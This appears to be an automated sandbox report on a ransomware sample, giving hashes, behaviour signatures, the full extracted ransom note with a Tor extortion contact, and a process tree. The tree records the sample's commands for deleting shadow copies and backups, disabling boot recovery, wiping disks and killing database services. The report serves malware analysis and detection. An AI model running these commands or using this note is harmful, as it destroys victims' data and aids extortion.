Analysis
-
max time kernel
146s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
-
submitted
01-01-2024 14:50
General
-
Target
902afe35c6ca794e8b436dad7edf142d2492abe3907055e4bd5e85ce6f617016.exe
-
Size
334KB
-
MD5
4d8bdcee20a3de89ba08bd09cd4ea642
-
SHA1
cc4ddf3a821eb13db3d45ed7e4b0b2ed35c2a22e
-
SHA256
902afe35c6ca794e8b436dad7edf142d2492abe3907055e4bd5e85ce6f617016
-
SHA512
024944b3910f72e80d1436627812fefb7bd4b4f3e9d541a747d549743a8edc5f279a0abf45fab6b3fc5ce47eea00b22958efa04513095c86c42efe24c450f28d
-
SSDEEP
6144:bkv89W2QcboLPlZvqEKvSlvgXCBVnTDg3GV06rPnek63AW1g3yEXq:bk09XelZvqEKv8gXCBlPHeByyEXq
Score
10/10
Malware Config
Extracted
Path
\Device\HarddiskVolume1\Boot\bg-BG\HOW_TO_BACK_FILES.html
Ransom Note
<html>
<style type="text/css">
body {
background-color: #f5f5f5;
}
h1, h3{
text-align: center;
text-transform: uppercase;
font-weight: normal;
}
/*---*/
.tabs1{
display: block;
margin: auto;
}
.tabs1 .head{
text-align: center;
float: top;
padding: 0px;
text-transform: uppercase;
font-weight: normal;
display: block;
background: #81bef7;
color: #DF0101;
font-size: 30px;
}
.tabs1 .identi {
font-size: 10px;
text-align: center;
float: top;
padding: 15px;
display: block;
background: #81bef7;
color: #DFDFDF;
word-break: break-all;
}
.tabs .content {
background: #f5f5f5;
/*text-align: center;*/
color: #000000;
padding: 25px 15px;
font-size: 15px;
font-weight: 400;
line-height: 20px; }
.tabs .content a {
color: #df0130;
font-size: 23px;
font-style: italic;
text-decoration: none;
line-height: 35px; }
.tabs .content .text{
padding: 25px;
line-height: 1.2;
}
</style>
<body>
<div class="tabs1">
<div class="head" ><b>Your personal ID:</b></div>
<div class="identi">
<span style="width:1000px; color: #ffffff; font-size: 10px;">BdV4nZ2HQxJAf0yrPFePZE949eMeMjiC31uU8eEdN+UK4SFJFmJLAISFm9kNZ6PdcdUU9S68GvmdN+GZe3zAJEyp0Em/wMjutGEVl81lPM+JA8gkR8s/4EZgaq3g8BWoePPrYmfVyhnci8Nc2LbXLh/1fjfCW6aJOUs9RD6Aqiv970R9qxNl+Jckblz3YIVBMCu12rjvnXSgGwsFYE8nfWwavwXhAc61U0CLfV+sXUJS+EKJWEFLBGYnLQqUpb23DbOHjd42W7946+exe/weH5tcmUV26hG/hulyuTGrF+0FO+ATAYfKkO4LBHUMCJcntgVYgpEd3qmdXkb9KaghbJ0KxdRjYXlBoDg9I+Tow91nmFUKczoxKFjMNmlPVkEmrcH3/T2mPNwp/3mucvi+MMT+5fmK88ype8Vsy/BnMyYCF5u6qzsMGG6fWz5cvCI/XX50YGg83hCCR3VuAl6NPUkHjsjwEjUwVNfkwqBv1kiQO+rZKfoNhQYE0JICeRj44EP3qlc1PdQemvGDfRXnPWOCgF27X9f0RDZl9kRSLr6eVn2Pjb1NWtz7R0v5PKYwMxAV9+8Yx3LupvBbRbF/CV83dAMJu+L7KTsM1Y5LtSGPfDRn2OHlExzKQWBGZV09kPQ2YMbnFQI94MitEs59CNuYcIXLof93nS3I+sFDIQA00wIiAOdUWRSBEOuabgj/DSlIQwB+D1VucgW+vPtVObWa1FL5VRNdzYrdd+WmEFQRB2gJuvlNB0Xz+OeGsP0WrJS2dBAeINsAKo5Kz0E/M1wqmGVfotcVWKICqm0szOGxMZEwYIKrJ6TGBBUcxOXvHaO4QNC/V/Obow9tAj6+Nh35JzGGPaGkvUAYtgrrhlTyYdwwqPJLw2F2ex844FBqBvGpzCi96CyUdH/E/vWA7DuLR2WcxMwys39SLcSlT719zjGw+dtJhGpWyXmuLvZJ3iFH49PvYEmNkE3yXjWGdmRvFDnlFiE49FSBT/nwL1/SdZUQF3TrunVAlAIFd195ygUDSpx/4zC4K5UKkbE4PbfWOrELqOLgXBLjvCEowQa4xN9zq4Xg/2G3cR/o8EeRuTxiSLx+VNdnzBoSQrQFlEDe/+R+EQvROLwb73Mm3CnTvWNmiNoZJk+OYb+NIxBFUsmlnjR6IXsOeosW9+77787Og+HZpEtRfpNk3HNA811H5nC4T5aGY+rLcyRRxOqM5kQdBlZjgb5yDcfYz2+KnU+dH4byxHw+AEbaBJ3IFIQh7hO+iLNgBU7XtHl3pOEl36NaN8Z5fFYR5TIYOjoyBc/G19xcKYKKR227vR00zootfvoJ6lTLkXwkcE4bLNWSXIhoY0k55LuPoGePCtQwJJFHX2dlPGinuvilDr9zU8DyBraufAauvMxISBkIl607a57+ndtFbY/DMTT6F6/uTgHvyz13T7dpmE/kTIHVSRVjnN9qNAglkSyOtZCoqNw4lDrhJJSWWgfmlWiZWaxeD6QzJsUFYPW0hiG5CZw2HfKG98r2Kx0xi6v0vK0BjR6kvt4c848+u9cNlaTFv2r7uEDv+V7r8KJfCIIahAxDLndrzuE41avp54tDRV0CET4Fxi8TrfbyHGrVB5UJpkWUEsD6IZUivB9xzbCwqKxhUw73YrUDCyxJ5t0If4x2IhS49SmGuZGH70v4P2i1XxBvO/WCTQyy0F5MeZVjFepQKyk=</span> <br>
<!-- !!! dont changing this !!! -->
</div>
</div>
<!-- -->
<div class="tabs">
<!--tab-->
<div class="tab">
<div id="tab-content1" class="content">
<div class="text">
<!--text data -->
<b>/!\ YOUR COMPANY NETWORK HAS BEEN PENETRATED /!\</b><br>
<b>All your important files have been encrypted!</b><br><br>
<hr>
Your files are safe! Only modified. (RSA+AES)<br><br>
ANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE<br>
WILL PERMANENTLY CORRUPT IT.<br>
DO NOT MODIFY ENCRYPTED FILES.<br>
DO NOT RENAME ENCRYPTED FILES.<br><br>
No software available on internet can help you. We are the only ones able to<br>
solve your problem.<br><br>
We gathered highly confidential/personal data. These data are currently stored on<br>
a private server. This server will be immediately destroyed after your payment.<br>
If you decide to not pay, we will release your data to public or re-seller.<br>
So you can expect your data to be publicly available in the near future..<br><br>
We only seek money and our goal is not to damage your reputation or prevent<br>
your business from running.<br><br>
You will can send us 2-3 non-important files and we will decrypt it for free<br>
to prove we are able to give your files back.<br><br>
<!--text data -->
<hr>
<b>Contact us for price and get decryption software.</b><br><br>
<a>qd7pcafncosqfqu3ha6fcx4h6sr7tzwagzpcdcnytiw3b6varaeqv5yd.onion</a><br>
* Note that this server is available via Tor browser only<br><br>
Follow the instructions to open the link:<br>
1. Type the addres "https://www.torproject.org" in your Internet browser. It opens the Tor site.<br>
2. Press "Download Tor", then press "Download Tor Browser Bundle", install and run it.<br>
3. Now you have Tor browser. In the Tor Browser open <a>qd7pcafncosqfqu3ha6fcx4h6sr7tzwagzpcdcnytiw3b6varaeqv5yd.onion<br>
</a>
4. Start a chat and follow the further instructions. <br>
<hr>
<b>If you can not use the above link, use the email:</b><br>
<a href="[email protected] ">[email protected] </a> <br>
<a href="[email protected] ">[email protected] </a> <br>
<p>* To contact us, create a new free email account on the site: <a href="https://protonmail.com">protonmail.com <br>
<b>
IF YOU DON'T CONTACT US WITHIN 72 HOURS, PRICE WILL BE HIGHER.</b><br>
</div>
</div>
</div>
<!--tab-->
<!--text data -->
</div>
</div>
<!--tab-->
</div>
</div>
</body>
</html>
Emails
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Renames multiple (6538) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Deletes System State backups 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
-
Deletes system backups 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
-
Modifies Installed Components in the registry 2 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Enumerates connected drives 3 TTPs 26 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 3 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 14 IoCs
-
Modifies registry class 2 IoCs
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 48 IoCs
-
Suspicious use of FindShellTrayWindow 6 IoCs
-
Suspicious use of SendNotifyMessage 8 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 2 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\902afe35c6ca794e8b436dad7edf142d2492abe3907055e4bd5e85ce6f617016.exe"C:\Users\Admin\AppData\Local\Temp\902afe35c6ca794e8b436dad7edf142d2492abe3907055e4bd5e85ce6f617016.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c rem Kill \"SQL\"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c rem Kill \"SQL\"3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sql writer.exe2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1004⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -impostgres.exe2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -impostgres.exe3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop MSSQL$MSFW3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop SQLAgent$MSFW3⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im Ssms.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures3⤵
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe5⤵
- Suspicious use of WriteProcessMemory
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLWriter2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop REportServer$ISARS2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper1002⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe3⤵
- Suspicious use of WriteProcessMemory
-
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE2⤵
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exe\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cipher.execipher /w:\\?\A:2⤵
- Enumerates connected drives
-
-
C:\Windows\SysWOW64\cipher.execipher /w:\\?\F:2⤵
- Enumerates connected drives
-
-
C:\Windows\SysWOW64\cipher.execipher /w:\\?\C:2⤵
-
-
C:\Windows\system32\taskkill.exetaskkill -f -im sqlbrowser.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sql writer.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im sql writer.exe2⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill -f -im MsDtsSrvr.exe1⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill -f -im sqlceip.exe1⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop REportServer$ISARS3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im fdlauncher.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill -f -im SQLAGENT.EXE1⤵
- Kills process with taskkill
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLBrowser2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im fdhost.exe1⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im fdhost.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill -f -im ReportingServicesService.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskkill.exetaskkill -f -im msftesql.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe1⤵
-
C:\Windows\system32\taskkill.exetaskkill -f -im pg_ctl.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill -f -impostgres.exe1⤵
- Kills process with taskkill
-
C:\Windows\system32\net.exenet stop MSSQL$MSFW1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$MSFW2⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop SQLAgent$ISARS1⤵
-
C:\Windows\system32\net.exenet stop SQLAgent$ISARS2⤵
-
-
C:\Windows\system32\net.exenet stop REportServer$ISARS1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet1⤵
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -keepVersion:0 -quiet2⤵
- Deletes system backups
-
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive1⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic.exe SHADOWCOPY /nointeractive2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$ISARS2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\902afe35c6ca794e8b436dad7edf142d2492abe3907055e4bd5e85ce6f617016.exe\\?\C:\Users\Admin\AppData\Local\Temp\902afe35c6ca794e8b436dad7edf142d2492abe3907055e4bd5e85ce6f617016.exe -network1⤵
-
C:\Windows\system32\wbadmin.exewbadmin DELETE SYSTEMSTABACKUP -deleteOldest1⤵
- Drops file in Windows directory
-
C:\Windows\system32\bcdedit.exebcdedit.exe /set {default} recoverynabled No1⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\wbadmin.exewbadmin DELETE SYSTEMSTATEBACKUP1⤵
- Deletes System State backups
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop MSSQLServerADHelper1002⤵
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet1⤵
- Interacts with shadow copies
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLWriter1⤵
-
C:\Windows\system32\net.exenet stop SQLWriter1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop SQLWriter1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop REportServer$ISARS1⤵
-
C:\Windows\system32\net.exenet stop SQLBrowser1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop SQLBrowser1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$MSFW1⤵
-
C:\Windows\system32\net.exenet stop SQLAgent$MSFW1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$ISARS1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe2⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\net.exenet stop MSSQL$ISARS1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c net stop MSSQL$ISARS1⤵
-
C:\Windows\system32\net.exenet stop MSSQLServerADHelper1001⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im msmdsrv.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im msftesql.exe1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im Ssms.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill -f -im sqlserv.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 524 -p 1756 -ip 17561⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD537d9797e1b4bb57f791e9cfd2a76cd8c
SHA17020c7feab2725b8feee7ae9bfb8c213c7b413cb
SHA256e6077f682e12ea0bb05ffca674a581604931102bd99cd2861fc177f2f7871cd7
SHA5122859a4009ed06a6870a0bafe9086cbfe144266e79d7930b341ba635238f0a443471299092a6ff6283d44bb3afbabf7f875d22a6783bee8c6f035bacbad799592
-
Filesize
3KB
MD55d4b1bfe77ca3e505f4e0efd8fdc8266
SHA1f7b800251d04db1439ef3a7762b19491f8e3061e
SHA256ccccc6662bc90354915e4e655d4826b1be6f1b192366e2ac67195b93b27c7f5f
SHA512cd4ac17648fc973cd8f1fdc441db18788671223d0643b54c8c80782b62f8e91350f9951d33b90a2e95d826e479b7da0c1c7f1ed967e569958ce2223bc2f30bcd
-
Filesize
1KB
MD5bc742a2dc7cc73af6ba04fdc1338950e
SHA151b580b786289a52dd2300d1077a8777b29ec520
SHA256b2edbdf634038ffca16c059669af5a768eea5771f80f30656f1c5a3ca88e7379
SHA512d2dd525946971bfcd8594781ad454e20a6671063a916c37606f33729e734ec3ac96e2df0773696b5589997bd616563a93fae0016e636c03823ef0975eddd0991
-
Filesize
1KB
MD5c37fbebfc186e58ececd9e5da94f7550
SHA1a0aab65482b9945145b767330a7795a971705798
SHA25662d7b249c0d7c5a6eb8b86b27cdf6b4613c4bef53b089044251a3a451f979b3e
SHA512fc5d642fd2a8e8c1869feb9a920fbfbc62084e7e8f4e315d19901939f63fdf5aa996ddbedb61eade7d3233b8631f6479fb2665bcc26007751bc058e540a01965
-
Filesize
5KB
MD5a3d52414085454d5b372a9a830b6f24b
SHA1d4419a1fbcdacd98763d1fe5b35560486ea83553
SHA256c6325b0886f986b2531c07cc71bb6b05e34e938a235ea00c57d5f3d57a330a93
SHA51296315148ed760792e4963ccb393870553813fdea15865a621db1f9d874f6a16a311b611dc80e1c4b42b95f462df413579576841aad529b75c82339055f73b45c
